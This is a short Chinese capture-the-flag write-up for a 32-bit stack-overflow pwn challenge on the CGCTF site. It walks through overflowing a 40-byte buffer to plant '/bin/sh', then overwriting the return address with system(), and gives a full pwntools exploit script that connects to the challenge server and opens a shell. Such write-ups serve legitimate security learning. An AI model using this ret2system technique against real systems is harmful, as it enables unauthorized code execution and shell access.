pwn-Stack Overflow

…衆ロ難τιáo~ 提交于 2019-12-01 09:46:38

地址

https://cgctf.nuptsast.com/challenges#Pwn

先观察一下,是一个32位的程序,而且只开了NX保护

 

 用IDA看看伪代码,重点在message和pwnme这两个函数,一个存在溢出,一个可以调用system函数

 我们先看看第一个fgets函数,A的大小是40个字符,明显存在了栈溢出,当A超过40个字符可以覆盖掉n的值,让n覆盖成‘/bin/sh‘,刚好弥补了程序中没有直接调用的shell

 

 思路明确,让A溢出,把n的值覆盖成‘/bin/sh’,然后第二次输出的时候,再次溢出,返回地址覆盖成system的入口地址,再让system的参数变成’/bin/sh‘(n的地址)

payload2的p32(0xaaaa)是函数的返回地址,随便填

构造exp如下

from pwn import *
r=remote('182.254.217.142',10001)
e=ELF('./cgpwna')
sys_addr=e.symbols["system"]
#sys_addr=0x80483f0

r.recvuntil("your choice:")
r.sendline("1")
r.recvuntil("you can leave some message here:")

payload1='a'*40+'/bin/sh'
r.sendline(payload1)


payload2='a'*0x34+p32(sys_addr)+p32(0xaaaa)+p32(0x804a0a8)
r.recvuntil("your name please:")
r.sendline(payload2)

r.interactive()                   

执行结果

 

 


               

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!